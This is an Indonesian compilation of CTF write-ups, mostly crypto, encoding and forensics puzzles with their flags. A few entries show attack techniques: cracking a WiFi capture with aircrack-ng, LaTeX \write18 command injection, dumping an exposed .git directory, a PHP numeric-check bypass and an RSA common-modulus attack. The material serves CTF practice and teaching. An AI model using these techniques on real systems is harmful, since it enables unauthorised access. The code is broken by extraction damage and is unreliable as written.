19ca14e7ea6328a42e0eb13d585e4c22 – 35 a5bfc9e07964f8dddeb95fc584cd965d – 35 a5771bce93e200c36f7cd9dfd0e5deaa – 62 d67d8ab4f4c10bf22aa353e27879133c – 7d
6. ambil 2 bytes list data yang telah terurut dari 0-39
(09) 50 77 6e 69 75 6d 7b 30 32 63 (1019) – 65 66 37 65 65 62 37 35 66 64 (2029) – 64 39 64 66 37 63 36 63 30 64 (3039) – 63 31 65 33 65 32 35 35 62 7d
7. Data tersebut adalah hexadecimal sehingga harus dilakukan konversi agar menjadi string. Hex:
50776e69756d7b30326365663765656237356664643964663763366330646331653365323535 627d
String:
Pwnium{02cef7eeb75fdd9df7c6c0dc1e3e255b}
8. Selesai
30
Pwnium CTF 2014 - ROT
source: http://krebsco.de/writeups/rot.html
23
Setelah diketahui data,s mulai dilakukan ekstraksi gambar menjadi file.
import telnetlib import base64
tn = telnetlib.Telnet("41.231.53.40", 9090) foo = tn.read_until('\n', 2)
foo = foo.strip()
foo = base64.b64decode(foo) with open('foo.png', 'w') as f: f.write(foo)
Setelah proses ekstraksi kemudian didapatkan gambar berikut
Setelah melihat gambar dan petunjuk exco. Maka disimpulkan bahwa gambar harus dipotong secara vertikal
convert foo.png crop 100x200+0+0 left.png convert foo.png crop 100x200+100+0 right.png
31
convert left.png rotate 90 left_rot.png convert right.png rotate 90 right_rot.png
Lakukan merge 2 gambar di atas, kemudian dari proses itu akan ditemukan kode rahasia.
composite left_rot.png right_rot.png compose difference difference.png
Seperti yang diketahui, cracking captcha secara manual sangatlah tidak mungkin. Manusia membutuhkan waktu yang lama sedangkan untuk cracking captha membutuhkan waktu singkat. Untuk itu diperlukan bantuan OCR untuk crack kode dan mengirimkannya kembali ke server. Dengan menggunakan PyTesser yaitu library untuk mengekstrak tulisan dari gambar
from PIL import Image
img = Image.open("difference.png") img = img.convert("RGB")
from pytesser import *
passwd = image_to_string(img).replace(" ","").strip()+"\n"
Setelah beberapa kali percobaan, text recognition tidak dapat mengambil text dari gambar sehingga diperlukan pre-processing gambar. Membuat gambar background (biru dan magenta) menjadi putih dan membuat warna tulisan hitam.
Dengan menggunakan PIL dan load gambar menjadi two dimensional array. Berikut ini adalah kode yang digunakan.
pixdata = img.load()
# Clean the background noise, if color != white, then set to black. for y in xrange(img.size[1]):
for x in xrange(img.size[0]):
tn = telnetlib.Telnet("41.231.53.40", 9090) foo = tn.read_until('\n', 2)
foo = foo.strip()
foo = base64.b64decode(foo) with open('foo.png', 'w') as f: f.write(foo)
os.system('convert foo.png crop 100x200+0+0 left.png') os.system('convert foo.png crop 100x200+100+0 right.png') os.system('convert left.png rotate 90 left_rot.png') os.system('convert right.png rotate 90 right_rot.png')
os.system('composite left_rot.png right_rot.png compose difference difference.png')
32
import sys
img = Image.open("difference.png") img = img.convert("RGBA")
pixdata = img.load()
for y in xrange(img.size[1]): for x in xrange(img.size[0]):
if pixdata[x, y] == (0, 0, 255, 255) or pixdata[x, y] == (255, 0, 255, 255): pixdata[x, y] = (0, 0, 0, 255)
else:
pixdata[x,y] = (255,255,255,255) img = img.convert("RGB")
from pytesser import *
passwd = image_to_string(img).replace(" ","").strip()+"\n"
print(passwd) tn.write(passwd) print(tn.read_all())
33
Pwnium CTF 2014 - usb so fun
source:
https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-usb-so-fun/
24
File yang diberikan adalah network packet captured file (pcapng). Setelah proses download, hal pertama yang dilakukan adalah proses analisa tipe dan file. Kemudian dilakukan command sederhana pada pcap file.
Langkah untuk crack pada OS Linux 1. Lihat properti file
$ file for1.pcap
for1.pcap: pcapng capture file – version 1.0
2. Tricky commands
$ strings for1.pcap | grep ‘Pwnium{‘ Pwnium{408158c115a82175de37e8b3299d1f93}
3. Selesai
34
Pwnium CTF 2014 - Look closer
source
https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-look-closer/
25
Problem ini sangat mudah Langkah untuk crack
1. Analisis file
$ file Misc1.rar
Misc1.rar: JPEG image data, JFIF standard 1.01, comment: “CREATOR: gdjpeg v1.0 (using IJG JPEG v80), quality = 100”
2. Ubah nama Misc.rar menjadi Misc1.jpg
3. Buka pada image-viewer, kemudian akan ditampilkan sebuah tulisan berukuran kecil. Cukup dengan melakukan zoom pada image dan akhirnya flag berhasil ditemukan
35
Pwnium CTF 2014 - Break me
source:
https://crazybulletctfwriteups.wordpress.com/2014/07/07/pwnium-ctf-2014-break-me/
26
Cipher text
QlpoOTFBWSZTWTxSmOAAAAsJAF/gOwAgADEAAAiZMNT0JbKzhCQcytA2gNbvXgSvxdyRThQkDxSmOA=
Langkah untuk crack
1. Cipher text menggunakan base64, hal ini diketahui dari panjang total dibagi dengan 4 dan char terakhir adalah =.
2. Jangan menggunakan dekoder base64 online. Tool ini tidak memberikan text unknown atau kode hexa decimal
3. Didapatkan base64 decode
‘BZh91AY&SY<R\x98\xe0\x00\x00\x0b\t\x00_\xe0;\x00
\x001\x00\x00\x08\x990\xd4\xf4%\xb2\xb3\x84$\x1c\xc9\x0b@\xda\x03[\xbdx\x12\ xbf\x17rE8P\x90<R\x98\xe0’
4. Cari sesuatu yang berhubungan dengan output yang terkait
5. BZh91AY&SY terkait dengan kompresi bz2. Sehingga dilakukan kompresi bz2 pada module dengan menggunakan bahasa pemrograman Python.
>>> import bz2
>>> b64d = ‘BZh91AY&SY<R\x98\xe0\x00\x00\x0b\t\x00_\xe0;\x00
\x001\x00\x00\x08\x990\xd4\xf4%\xb2\xb3\x84$\x1c\xc9\x0b@\xda\x03[\xbdx\x12\xbf\x1 7rE8P\x90<R\x98\xe0’
>>> d = bz2.decompress(b64d) >>> print repr(d)
‘9afa828748387b6ac0a393c00e542079’ >>>
6. Selesai
36
Pwnium CTF 2014 - Alter code
source:
https://crazybulletctfwriteups.wordpress.com/2014/07/08/pwnium-ctf-2014-alter-code/
27
Analisa file main.c. Output yang dihasilkan memberikan sesuatu yang berbeda dan output tersebut menggantikan sebuah kode rahasia pada program main.c.
Given text: B1lR]c5r]Qsqfg
Langkah untuk solve problem ini 1. Fokus pada kode rahasia
2. Menggunakan tool basic kriptografi seperti Mono Alphabetic cipher 3. Sehingga diputuskan untuk menggunakan metode enkripsi ROT-x (1-25) 4. Ada satu hasil dekripsi string yang memiliki makna yaitu sushi
5. Admin memberikan hint bahwa mata-mata berasal dari jepang
ROT0: B1lR]c5r]Qsqfg ROT24: Z5jP]a9p]Oqode ROT25: A6kQ]b0q]Prpef
6. Konsentrasi pada ROT-2: D3nT]e7t]Sushi
37
EKOPARTY CTF 2015 - XOR Crypter
source:
http://capturetheswag.blogspot.co.id/2015/10/ekoparty-2015-xor-crypter-crypto-200.html
28
File zip berisi script Python bernama “shiftcrypt.py”.
Namun source code ini terlihat ganjil. Untuk mendekripsikan encrypted text seharusnya melakukan operasi yang sama seperti cipher text – encyrpted text.
result = []
blocks = struct.unpack("I" * (len(data) / 4), data)
print repr(blocks)
for block in blocks:
result += [block ^ block >> 16]
Mencoba mengenkripsi string yang diberikan
CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA=
Dilakukan proses enkripsi lagi
root@mankrik:~/ekoparty/crypto200# echo
CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA= | base64 d > c; ./shiftcrypt.py "`cat c`" | tail 1 | base64 d
EKO{unshifting_the_unshiftable}
38
Internetwache CTF 2016 - Quick Run
source:
http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-quick-run.html
29
Question
Solution
Link file di dalam zip https://app.box.com/s/8aoepmqzfetr2syj9usq433kptaz8nid
Mencoba base64 karena padding “==” pada text dan ditemukan QR code pada tiap blok text
Decoding QR code tersebut dan akhirnya flag ditemukan
Flag is IW{QR_C0DES_RUL3}
39
Internetwache CTF 2016 - The hidden message
source:
http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-hidden-message.html
30
Question
Solution
File README.txt di dalam file zip berisi
0000000 126 062 126 163 142 103 102 153 142 062 065 154 111 121 157 113 0000020 122 155 170 150 132 172 157 147 123 126 144 067 124 152 102 146 0000040 115 107 065 154 130 062 116 150 142 154 071 172 144 104 102 167 0000060 130 063 153 167 144 130 060 113 012
0000071
Melihat dari angka-angka tersebut, sangat jelas bahwa angka tersebut merupakan bilangan oktal. Dengan mengkonversi bilangan oktal menjadi ASCII akan memberikan hasil:
V2VsbCBkb25lIQoKRmxhZzogSVd7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K
40
Internetwache CTF 2016 - Crypto-pirat
source:
http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-crypto-pirat.html
31
Question
Attachment crypto50.zip Solution
Attachment memiliki file README.txt yang berisi
♆♀♇♀♆♇♇♀♆⊕♇♀♇♀♆♇♆♇♆⊕♆♇♆♇♇ ♀♆♇♆⊕♆♇♆♇♆♇♆♇♆⊕♆♇♇♀♇ ♀♆⊕♇♀ ♆⊕♇♀♆⊕♆♇♆♇♇♀♆♇♆
⊕♇♀♇♀ ♆⊕♆♇♆♇♆♇♇♀ ♆⊕♆♇♆♇♆♇♆⊕♆♇♆♇♆♇♆⊕♇♀ ♆♇♇♀♆♇♆⊕♇♀ ♆♇♆♇♇ ♀♆⊕♆♇♆♇♇♀♇ ♀♇♀♆⊕
♆♇♆♇♇ ♀♆⊕♇♀ ♇♀♆♇♆⊕♆♇♇♀ ♆⊕♇♀♆♇♇♀♇♀ ♆⊕♆♇♆♇♆♇♆♇♆⊕♇♀♆♇♇♀♆♇♆⊕♇♀♆♇♆♇♇♀ ♆⊕♆♇♆
♇♇♀♇♀ ♇♀♆⊕♇♀♆♇♆♇♆⊕♇♀♇ ♀♇♀♆⊕♇♀♇♀♆♇♆♇♆⊕♆♇♆♇♆♇♆⊕♆♇♇♀♇♀♆⊕♆♇♆♇♆♇♆♇♇ ♀♆⊕♇♀
♇♀♆♇♆♇♆⊕♆♇♆♇♆♇♇ ♀♇♀♆⊕♆♇♆♇♆♇♆⊕♆♇♇♀♆♇♆♇♆⊕♆♇♆♇♆♇♆♇♆♇♆⊕♆♇♇♀♇ ♀♆⊕♇♀ ♇♀♆♇♆
⊕♆♇♆⊕♆♇♆♇♇ ♀♇♀♇♀ ♆⊕♇♀♆♇♇♀♆♇♆⊕♇♀♇ ♀♆♇♆♇♆♇♆⊕♇ ♀♆♇♆⊕♇♀♇♀♆♇♆♇♆⊕♆♇♆♇♆♇♆⊕♇♀
♆♇♆♇♇♀♆⊕♆♇♆⊕♇♀♇♀♇♀♆⊕♆♇♇♀♆♇♆⊕♆♇♇♀♇♀♇♀♆⊕♆♇♇♀♇♀♆♇♆⊕♆♇♆♇♇♀♆⊕♇♀♆♇♆♇♆♇♇
♀♆⊕♇♀ ♆♇♆♇♆♇♇♀♆⊕♇♀♆♇♆♇♆♇♇♀ ♆⊕♇♀♆♇♆♇♆♇♇♀♆⊕♇ ♀♆♇♆♇♆♇♇♀♆⊕♇♀♆♇♆♇♆♇♇ ♀
Hint mengatakan bahwa ada sebuah tabel pada website yang populer. Merujuk pada link berikut
http://solarsystem.nasa.gov/galleries/solar-system-symbols Simbol-simbol diatas disubstitusikan berdasarkan nomor planet. Sehingga didapatkan barisan angka seperti berikut ini
82928 99283 92928 98983 89899 28983 89898 98983 89929 28392 83928 38989 92898 39292 83898 98992 83898 98983 89898 98392 89928 98392 89899 28389 89929 29283 89899 28392 92898 38992 83928 99292 83898 98989 83928 99289 83928 98992 83898 99292 92839 28989 83929 29283 92928 98983 89898 98389 92928 38989 89899 28392 92898 98389 89899 29283 89898 98389 92898 98389 89898 98983 89929 28392 92898 38983 89899 29292 83928 99289 83929 28989 89839 28983 92928 98983 89898 98392 89899 28389 83929 29283 89928 98389 92929 28389 92928 98389 89928 39289 89899 28392 89898 99283 92898 98992 83928 98989 92839 28989 89928 39289 89899 2
Pada deskripsi ditulis “Did the East German Secret Police see a Pirat on the sky?” sehingga dicobalah untuk dilakuakn pencarian menggunakan Google. Hasil pencarian merujuk pada Stasi
Stasi memiliki table cipher vernam bernama TAPIR
41
. .. ... .... . ... ... ... ... .. .. .. .. . . . .... .. .. .. .. .. ... . .... .. ... ... ... ... . . . .. .. ... . .. ... .. . .. . .. .. ... ... ... ... ... ...
Yang didalam alfabet berbunyi kzfhwttfmvsscx2ugayhcx2dozsw4z3sl5wge2c7nzsxeorjpu====== Lakukan base32
VJ{Neee!_T00q_Cvengr_lbh_ner:)}
ROT-13
IW{Arrr!_G00d_Pirate_you_are:)}
42
Internetwache 2016 - Replace with grace
source:
http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-replace-with.html
32
Question
Service https://replace-with-grace.ctf.internetwache.org Solution
Halaman web memiliki 3 parameter yaitu: search, replace dan content Contohnya
search : /cow/ replace : cat
content : cows are cute output : cats are cute.
44
Internetwache CTF 2016 - oldskoolblog
source:
http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-0ldsk00lblog.html
33
Question
Service https://0ldsk00lblog.ctf.internetwache.org/
Di dalam blog menampilkan bahwa “All people are talking about a tool called ‘Git’, I think I might give this a try“. Statement ini menimbulkan kecurigaan sehingga dicoba untuk mengecek apa yang ada di dalam folder melalui url https://0ldsk00lblog.ctf.internetwache.org/.git/
Namun browser menampilkan “403 Forbidden” yang berarti direktori tersebut ada namun tidak dapat diakses. Setelah itu mempelajari struktur direktori git.
Dengan menggunakan sebuah tool yang sangat berguna yaitu dcvr-ripper yang dapat membantu menemukan commits dan mengecek apakah direktory pada git dapat diakses seperti log, config, objek dan lain sebagainya.
Setelah menggunakan tool tersebut, berikut ini adalah list objek yang didapat
objects/14/d58c53d0e70c92a3a0a5d22c6a1c06c4a2d296
Membaca file objek
File dalam list diperiksa satu persatu
Setelah itu mendekompres tiap objek menggunakan python dan zlib, dan akhirnya objek terakhir pada list terdapat flag objects/55/08adb31bf48ae5fe437bdeba60f83982356934
45
Internetwache CTF 2016 - Texmaker
source:
http://ctfwriteups.blogspot.co.id/2016/02/internetwache-ctf-2016-texmaker.html
34
Question
Service https://texmaker.ctf.internetwache.org/ Solution
Halaman website akan memberikan program a late dan membuat sebuah pdf
Guide untuk melakukan hack pada latex http://cseweb.ucsd.edu/~hovav/dist/texhack.pdf
Pendekatan pertama yang dilakukan adalah menggunakan \input{“ls”} namun website merespon dengan “BLACKLISTED commands cannot be used”
Pendekatan kedua dengan menggunakan \write18
47
Nuit de Hack Quals 2014 - carbonara
source:
http://ctfwriteups.blogspot.co.id/2014/04/nuit-de-hack-quals-2014-carbonara.html
35
Question
Cipher text
%96 7=28 7@C E9:D 492= :D iQx>A6C2E@C xF=:FD r26D2C s:GFDQ]
Solusi
Pendekatan pertama, subsititusi dengan melihat pada website asciitable.com : menjadi i
D menjadi s
48
Nuit de Hack Quals 2014 - Here kitty kitty
source:
http://ctfwriteups.blogspot.co.id/2014/04/nuit-de-hack-quals-2014-here-kitty-kitty.html
36
Question
Mirror link http://1drv.ms/1jjplOH
Hal yang pertama dilakukan adalah membuka file dengan menggunakan bantuan program audacity. Waveform yang didapat sangat aneh sehingga menimbulkan kecurigaan. Dengan melakukan zoom in pada gelombang maka didapatkan sandi morse.
Berikut ini adalah sandi morse yang didapat
... ... .. . .. ... .... .... . .. ... . .. .. ... ... .. . .... . ... .. ... . .. . . . . ..
Dekoding sandi morse yang didapat sehingga menghasilkan md5 hash
5BC925649CB0188F52E617D70929191C
49
Olympic CTF 2014 - Binathlon 10 – Just no one
source:
http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf-2014-binathlon-10-just-no.html
37
Problem ini adalah problem binary
Challenge file https://db.tt/5I7qkEPv
Problem dikategorikan sebagai problem binary namun problem ini mengajarkan kita bagaimana pentingnya untuk membaca license agreement. File yang didapat adalah delphi coded password protected. Namun ternyata tidak sulit untuk menemukannya dan berikut ini adalah jawabannya
50
Olympic CTF 2014 - Out there
source:
http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf2014-curling-10-out-there.html
38
Problem ini berdasarkan ipv6 sehingga perlu dilakukan konfigurasi untuk mengakses alamat ipv6. Untuk menyelesaikan problem ini digunakanlah untuk https://ipv6.he.net/ tunelling
Question
Flag is out there http://[2a02:6b8:0:141f:fea9:d5ff:fed5:XX01]/
Lakukan pencarian dengan menggunakan google kemudian didapatkan hasil bahwa alamat yang diakeses seharusnya adalha http://[2a02:6b8:0:141f:fea9:d5ff:fed5:6901] XX adalah 69.
Lakukan inspeksi souce code pada website kemudian dapatakan flag
51
Olympic CTF 2014 – as seen on defcon
source:
http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf-2014-nopsleigh-10-as-seen.html
39
Question
EBFE is to x86 as _______ is to ARM64 Solution
Untuk menyelesaikan problem ini, yang harus dilakukan adalah mencari upcode pada unconditional branch pada infinite loop di ARM64 sebagai EBFE di x86 yang berarti unconditional jump. Hint yang didapat adalah pertanyaan itu sendiri. Tugas yang harus dilakukan adalah menemukan opcode. Lakukan pencarian pada Google kemudian didapatkan 0x14000000 sebagai opcode. Jika ditemukan EAFFFFFE maka itu adalah 32 bit.
52
Olympic CTF 2014 - crypting
source:
http://ctfwriteups.blogspot.co.id/2014/02/olympic-ctf-2014-figure-crypting-10.html
40
Question
43wdxz 4edcvgt5 65rdcvb 6tfcgh8uhb 9ijn
Solution
Untuk menyelesaikan problem ini dengan mudah, digunakanlah gambar bantuan
53
54
BackdoorCTF 2014 – wifi password
source:
http://singularityctf.blogspot.co.id/2014/03/backdoorctf-2014-writeup-misc-250-1-eng.html
41
Problem
Satyam memiliki keahlian untuk melihat tiga karakter terakhir dari password temannya yang bernama Pravj yaitu 007. Sebagai hacker, dia mengcapture paket yang dikirim melalui router WiFi milik Pravj. Satyam dan Pravj adalah teman yang sangat dekat, dia mengetahui seberapa cintanya Pravj dengan sistem angka hexadesimal. Bantu Satyam untuk meretas password WiFi (Satyam tidak tahu bahwa password menggunakan pergeseran kunci). Flag menggunakan md5(wifi_password)
Solution
Di dalam problem juga diberikan file berekstensi cap dnegan memotong jalur wifi dan petunjuk dari password dan jangkauan wifi adalah angka hexa yang diakhiri dengan 007. Diketahui bahwa pergeseran kunci tidak digunakan jadi dapat dikatakan bahwa semua huruf menggunakan huruf kecil. Berikut ini program yang digunakan untuk menggenerate file dengan string dalam format hex007, dimana hex adalah angka-hex 1 sampai 5.
#include <iostream>
55
Aircrackngnetwork.cap –w dict.txt
Sehingga kunci berhasil ditemukan
56
ASIS CTF Finals 2014 - caplow
source:
https://beagleharrier.wordpress.com/2014/10/13/asis-ctf-finals-2014caplow-writeup/
42
Diberikan string
qvnju181mjziote0zge4mdk0odi4odfmnmnmnmi5zjm2yzy3mq==
Diakhiri dengan “==” sehingga dapat ditebak bahwa string ini menggunakan penyandia base64. Setelah memecahkan kode menggunakan base64, flag tidak berhasil didapatkan namun mendapatkan karakter aneh.
Panjang string adalah 25 karakter dengan perkalian 4, sehingga harus menggunakan penyandian base64. Note: tiap karakter adalah huruf kecil. Setelah itu dicoba kembali memecahkan base64 “QVNJ” sehingga mendapatkan hasil “ASI”
Seperti yang kita tahu bahwa base64 ditambahkan 3 karakter menjadi 4 karakter, sehingga untuk mendapatkan flag dicobalah untuk memecahkan kode setiap 4 karakter setiap waktunya untuk mengetahui apakah salah satunya seharusnya huruf besar atau tidak.
Selanjutnya akan didapatkan string sebagai berikut
QVNJU181MjZiOTE0ZGE4MDk0ODI4ODFmNmNmNmI5ZjM2YzY3MQ==
57
ASIS CTF 2014 Quals - Plough
source: http://blogs.univ-poitiers.fr/e-laize/2014/05/11/asis-2014-plough/
43
URL: http://asis-ctf.ir/challenges/
Deskripsi
Berikut ini adalah kode yang digunakan untuk enkripsi dan file yang telah dienkripsi https://asis-ctf.ir/tasks/crypto/crypto_250_bf16a61aa8117be9c994f171023d37ff
Plough.cpp adalah file atau program yang digunakan untuk mengenkripsi file yang ditulis dengan menggunakan bahasa pemrograman C++, berikut ini adalah source codenya:
#include<iostream> #include<stdio.h> #include<stdlib.h> #include<string.h> using namespace std;
//
class1::class1(char FileName[20]) {
if(!(file = fopen(FileName, "wb"))) {
cout << "\nError: cant crate file!";
exit(1);
58
class2::class2(char FileName[20]) {
if(!(file = fopen(FileName, "rb"))) {
cout << "\nError: cant read file!";
exit(1);
59
char* zip(char *inFileName, char *outFileName);
//
int main(int argc,char*argv[]) {
if(argc != 3)
cout << "usage:\tplough inputFilePath outputFilePath"; else
cout << zip(argv[1], argv[2]); return 0;
}
//
char* zip(char *inFileName, char *outFileName) {
class2 IBFile(inFileName);
60 return (char*)"End\n"; }
Analisis algoritma
Di file atau program terdapat dua kelas 1. Kelas pertama mengenai alur keluaran
a. Constructor dan destructor: menangani, membuka dan menutip file keluaran b. w(char b): set (b=1) / unset (b=0) bit saat ini adalah byte keluaran saat ini c. wn(int n, char ch): penyandian nilai ch menggunakan bits ke n
2. Kelas kedua mengenai alur masukan
a. Constructor dan destructor: menangani membuka file kelauran b. r(): mengembaliksn nilai (0 atau 1) dari nilai dari file input
c. rn(int n): mengembalikan nilai campuran dari bits ke n dimulai dari nilai bit dari byte input
d. end(): memgembalikan nilai akhiran dari status file input Salah satu fungsi penyandian zip(char *inFileName, char *outFileName)
a. r adalah nilai bit sekarang dari inputan
b. shift digunakan untuk mengalihkan penulisan dari 3 bits dan 2 bits c. counter adalah jarak antara nilai bit dan nilai selanjutnya
Skema penyandian terbalik
61 Implementasi lebih mudah dapat dilihat pada kombinasi decode menggunakan matrik berikut ini
Jika hasilnya berakhir dengan nilai 1 maka counter = 0 jika tidak maka counter = 1 Decode dengan Python
Bahasa pemrograman Python tidak diperuntukkan untuk mendecode file yang sangat besar, namun lebih mudah untuk melihat bagaimana jalannya sebuah program.
f = open('encrypted', 'rb') iSTR = f.read()
iBSTR = ''.join(['{:08b}'.format(ord(c)) for c in iSTR]) f.close()
oSTR = ''.join([chr(int(oBSTR[i:i+8],2)) for i in range(0, len(oBSTR), 8)]) f = open('plain', 'wb')
f.write(oSTR) f.close()
Setelah didekripsi didaptkan hasil dengan format gambar PNG
62
Sharif University CTF Quals 2014 – Decrypt the message!
source: https://ctfcrew.org/writeup/74
44
Problem
Dekripsi pesan! Berikut ini adalah isi dari encrypted.txt
The life that I have Is yours and yours and yours. In the long green grass
Will be yours and yours and yours.
decrypted message: emzcf sebt yuwi ytrr ortl rbon aluo konf ihye cyog rowh prhj feom ihos perp twnb tpak heoc yaui usoa irtd tnlu ntke onds goym hmpq
Solution
Didapatkan pesan rahasia dan puisi. Untuk mendapatkan flag di dalam puisi tersebut maka dilakukan pencarian kata yang membentuk sebuah kunci. Grup pertama dari beberapa huruf pesan rahasia adalah “amzcf”. Itu berarti 5, 13, 26, 3 dan 6 telah diguanakan. Kata-katanya adalah
“have life life that is” namun dalam kalimat tersebut hanya memiliki 18 huruf, sedangkan yang dibutuhkan adalah 25 huruf (karena harus ada 4 huruf tiap bloknya. Ini mengindikasikan bahwa pesan asli telah dibagi menjadi 4 blok dengan panjang 25, sehingga kuncinya mempunyai panjang sama 25). Dilakukan pengecekan kata menggunakan modulus:
ke5 have yours my ke13 life shall be ke26 life pause ke3 that have peace ke6 is and years
Maksimum panjang kata adalah 5 sehingga membutuhkan 5 huruf sebagai kunci, hanya ada satu cara yaitu memilih kata “yours shall pause peace years”.
passphrase = "yoursshallpausepeaceyears" alph = string.ascii_lowercase
count = 1
passkey = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] for a in alph:
63 Dari pencarian kunci menggunakan program diatas dihasilkan kunci [24, 13, 22, 16, 18, 19, 10, 1, 11, 12, 14, 2, 23, 20, 6, 15, 7, 3, 5, 8, 25, 9, 4, 17, 21]
Langkah selanjutnya adalah melakukan dekripsi, berikut ini adalah source codenya
encrypted = ["sebt", "yuwi", "ytrr", "ortl", "rbon", "aluo", "konf", "ihye", "cyog", "rowh", "prhj", "feom", "ihos", "perp", "twnb", "tpak", "heoc", "yaui", "usoa", "irtd", "tnlu", "ntke", "onds", "goym", "hmpq"]
result =""
for i in xrange(4):
for j in xrange(len(passkey)):
test = j + 1
for k in xrange(len(passkey)):
if test == passkey[k]:
result = result + encrypted[k][i:i+1]
print "Decrypted message is " + result
Menghasilkan sebuah string sebagai berikut
ifyouthinkcryptographyistheanswertoyourproblemthenyoudonotknowwhatyourproblemis abcdefghijklmnopqrstu
Pada akhir kata terdapat alphabet yang urut (lapisan), sehingga jawaban atau flag
64
Sharif University CTF Quals 2014 – AES Broken
source: https://ctfcrew.org/writeup/75
45
Dalam problem ini diberikan file yang seidikit lebih panjang yang sepertinya adalah ciphertext yaitu hasil dari transformasi metode enkripsi AES dengan beberapa macam cara. Setelah melihat menggunakan Sublime, tidak ada yang salah pada file tersebut. Sublime akan hang setelah mencoba mencari keseluruhan file. Membuat file menjadi biner dan membukanya dengan beberapa aplikasi hex.
Sekarang terlihat lebih mudah untuk melihat ciphertext. Dapat terlihat pengulangan bloknya. Untuk metode AES yang normal dalam mode ecb tidaklah aneh. Sekarang cari berapa banyak perulangan ciphertext.
Dari hasil yang ditunjukkan, terdapat sesuatu yang aneh. Apakah mengenkrip satu karakter plaintext per blok? Untuk mempermudah perhitungan berapa banyak blok ciphertext yang berbeda dalam file digunakanlah source code berikut ini:
#!/usr/bin/python from sets import Set import operator
with open('ciphertext','r') as f: output = f.read()
uniques=dict([])
for i in xrange(len(output)/32): word=output[32*i:32*i+32] if uniques.has_key(word):
Didapatkan 27 blok, pasti terdapat 26 karakter alfabet dengan spasi. Rubah kode untuk mengganti blok tiap karakter menjadi seperti ini
65
output=output.replace(block,c) print output
Berikut ini adalah output yang daitampilkan menggunaka crypto tool
Setelah itu memperbaiki beberapa permutasi tiap alfabet sehingga didapatkan flag
66
DEF CON CTF Qualifier 2013 - Symphony
source: https://dook.biz/2015/03/boston-key-party-ctf-symphony-writeup/
46
Problem adalah
Ketika link diklik maka akan ditampilkan halaman web yang memiliki password
Jika klik title dari level 2 maka akan membawa anda ke direktori html/php, kode yang berjalan pada background. Bagian inti adalah kode php yaitu:
<?php
require 'flag.php';
if (isset($_GET['password'])) {
if (is_numeric($_GET['password'])){ if (strlen($_GET['password']) < 4){ if ($_GET['password'] > 999) die('Flag: '.$flag); else
print '<p class="alert">Too little</p>'; } else
print '<p class="alert">Too long</p>'; } else
print '<p class="alert">Password is not numeric</p>'; }
?>
Berikut ini adalah langkah untuk memecahkan kode phpnya: a. Pertama lakukan pengecekan apakah field password telah terisi
b. Dengan menggunakan fungsi php is_numeric, akan mengecek jika suatu nilai yang diberikan pada field password bernilai satu.
c. Selanjutnya cek jika panjang nilai yang dimasukkan kurang dari 4 karakter d. Lalu cek apakah nilai yang dimasukkan lebih besar dari 999
67 3E8 adalah angka dimana lebihh besar dari 999 dan kurang dari 4 karakter. Lalu masukkan ke halaman website sebagai password.
Kemudian klik query submit
68
PlaidCTF 2015 – strength
source:
https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/PCTF/crypto/strength
47
Problem terdiri dari file yang berisi koleksi dari record
{N : e : c}
{0xa5f7f8aaa82921f70aad9ece4eb77b62112f51ac2be75910b3137a28d22d7ef3be3d734dabb9 d853221f1a17b1afb956a50236a7e858569cdfec3edf350e1f88ad13c1efdd1e98b151ce2a207e5 d8b6ab31c2b66e6114b1d5384c5fa0aad92cc079965d4127339847477877d0a057335e2a761562d 2d56f1bebb21374b729743L : 0x1614984a0df :
0x7ded5789929000e4d7799f910fdbe615824d04b055336de784e88ba2d119f0c708c3b21e9d551 2d56f1bebb21374b729743L : 0x15ef25e10f54a3 :
0x7c5b756b500801e3ad68bd4f2d4e1a3ff94d049774bc9c37a05d4c18d212c5b223545444e7015 a7600ecff9a75488ed7e609c3e931d4b2683b5954a5dc3fc2de9ae3392de4d86d77ee4920fffb13 ad59a1e08fd25262a700eb26b3f930cbdc80513df3b7af62ce22ab41d2546b3ac82e7344fedf8a2 5abfb2cbc717bea46c47eL} (...)
Baris pertama memberikan petunjuk tentang skema enkripsi yang disimbolkan dengan N, e dan c biasanya digunakan untuk mendankan modulus, eksponen dan RSA ciphertext.
Hal pertama yang disadari adalah semua modulus bersifat sama, yang dapat membuktikan terjadi exploitasi . Dengan mempertimbangkan hal berikut:
Diberikan plaintext m dan satu set n tupel dengan m pangkat ei modulus N = ci jika terdapat 2 tupel termasuk gcd(ei, ej) = 1 maka dapat digunakan algoritma extended Euclidian untuk mendapatkan egcd(ei, ej) = aiei + ajej = 1. Dengan mempertimbangkan ci^ai * cj^aj = (m^ei)^ai * (m^ej)^aj = m^(eiai) * m^(ejaj) = m^(eiai + ejaj) = m^1 = m (tentunya semua modulus N). Akan berpotensi muncul masalah, tentusaja, ketika ai atau aj bernilai negatif. Mempertimbangkan aj bernilai negatif maka harus menemukan modular perkalian invers yang sesuai dengan ciphertext cj dan hitung b = (gcd(e1, e2)-(a*e1))/e2, jadi dapat menghitung ci^ai * modInv(cj, N)^(-b) % N = m. Diiterasikan melalui tupel dan cek setiap kombinasi untuk kandidat yang pas dengan skrip dibawah ini :
#!/usr/bin/python #
# Plaid CTF 2015 # Strength (CRYPTO/110) #
# @a: Smoke Leet Everyday
# @u: https://github.com/smokeleeteveryday #
# Extended Greatest Common Divisor def egcd(a, b):
if (a == 0): return (b, 0, 1) else:
69
return (g, x (b // a) * y, y)
# Modular multiplicative inverse def modInv(a, m):
g, x, y = egcd(a, m) if (g != 1):
raise Exception("[]No modular multiplicative inverse of %d under modulus %d" % (a, m)) else:
return x % m
def to_bytes(n, length, endianess='big'): h = '%x' % n
s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex') return s if endianess == 'big' else s[::1]
